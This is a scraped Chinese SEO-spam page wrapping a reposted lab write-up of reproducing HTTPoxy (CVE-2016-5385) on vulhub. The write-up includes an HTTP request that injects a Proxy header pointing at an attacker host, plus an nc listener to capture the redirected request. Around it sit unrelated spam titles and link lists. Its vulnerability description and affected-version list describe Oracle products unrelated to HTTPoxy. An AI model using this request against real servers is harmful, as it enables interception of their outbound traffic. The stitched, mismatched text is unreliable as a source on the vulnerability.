当前位置: 首页 > news >正文

永康做网站的公司南京网站建设小程序

永康做网站的公司,南京网站建设小程序,wordpress 在线教育 模板,河南网站建设公司排名HTTPoxy CGI 应用程序漏洞 CVE-2016-5385 已亲自复现 漏洞名称漏洞描述影响版本 漏洞复现环境搭建漏洞利用 修复建议 漏洞名称 漏洞描述 在Oracle Communications BRM 10.x/12.x#xff08;云软件#xff09;中发现漏洞。它已经被宣布为关键。此漏洞影响组件用户数据库的未… HTTPoxy CGI 应用程序漏洞 CVE-2016-5385 已亲自复现 漏洞名称漏洞描述影响版本 漏洞复现环境搭建漏洞利用 修复建议 漏洞名称 漏洞描述 在Oracle Communications BRM 10.x/12.x云软件中发现漏洞。它已经被宣布为关键。此漏洞影响组件用户数据库的未知功能。升级可消除此漏洞。在泄露漏洞后立即发布了可能的缓解措施。可以使用Snort ID 39737来识别攻击企图。 影响版本 Redhat Enterprise_Linux_Server 6.0 Oracle Communications_User_Data_Repository 12.0.0 Oracle Enterprise_Manager_Ops_Center 12.3.2 Oracle Communications_User_Data_Repository 10.0.0 8.0.0 Drupal 8.1.7 漏洞复现 环境搭建 受害者IP192.168.63.129:8080 攻击者IP192.168.63.1 vulhub下载链接 https://github.com/vulhub/vulhub git clone https://github.com/vulhub/vulhub.git启动vulfocus docker-compose up -d 环境启动后访问http://192.168.63.129:8080即可看到一个nginx页面说明已成功启动。 漏洞利用 正常请求http://192.168.63.129:8080/index.php可见其Origin为当前请求的服务器这里用的自己搭建的环境因此返回公网的IP地址。正常情况下与请求头中的host一致。 在请求头中加入proxy代理这里的Proxy: http://192.168.63.1:1234/不是 HTTP 代理在主机192.168.63.1中不存在该http服务。因此在响应体中返回报错信息。 GET /index.php HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Connection: close Proxy: http://192.168.63.1:1234/在192.168.63.1主机上监听端口,我们可以捕获原始请求。 nc -lvnp 1234在vulhub的官网中响应体返回了正常的请求内容在Origin返回当前请求的服务器与上面返回错误不同的是这里使用的是可以访问的HTTP代理存在http服务。 修复建议 1、补丁链接https://www.php.net/downloads 5.6.24修复了该漏洞
http://www.zqtcl.cn/news/701947/

相关文章:

  • 中英文网站建设wordpress 旅行
  • ic商城网站建设南大资源分享wordpress
  • 永兴集团网站织梦网站模板下载
  • html怎么做网站地图柳州小程序制作公司
  • 微网站自助建站京东自营入驻流程及费用
  • 哪些网站适合用自适应开发板编程软件
  • 网站建设公司领导致辞传奇网页游戏大全
  • 公司网站简介网站建设中的英文
  • 没有防盗链的网站做网站市场报价步登顶
  • 网站建设基本话术服装店网站建设规划书
  • 网站建设公司品牌crm客户管理系统设计
  • 网站源码生成器英文网站建设600
  • 著名网站建设金华建设公司网站
  • 网站点击率h5开发app
  • 中英文 微信网站 怎么做网站的建站公司
  • 苏州网站建设新手去哪找做塑料的网站
  • 莱芜网站建设电话瓦房店网站建设
  • 视频网站app怎么做的天津seo标准
  • 建立音乐网站wordpress 安装文件名
  • 龙华营销型网站制作企业网站模板源代码下载
  • 山东城乡建设厅网站哪有做网站公司
  • 建设网站是否等于开展网络营销用wordPress搭建图片库
  • 泗阳做网站的外贸公司网站搭建
  • 做汽车保养的网站上商业招商网站
  • 如何进网站帝国cms调用网站名称
  • 瑞金网站建设推广合肥瑶海区地图
  • 静态网站建设国内免费域名
  • 网站建设设计公司电子商务网站开发与管理
  • 手机网站制作设计做国际网站有什么需要注意的
  • 机构网站源码如何分析一个网站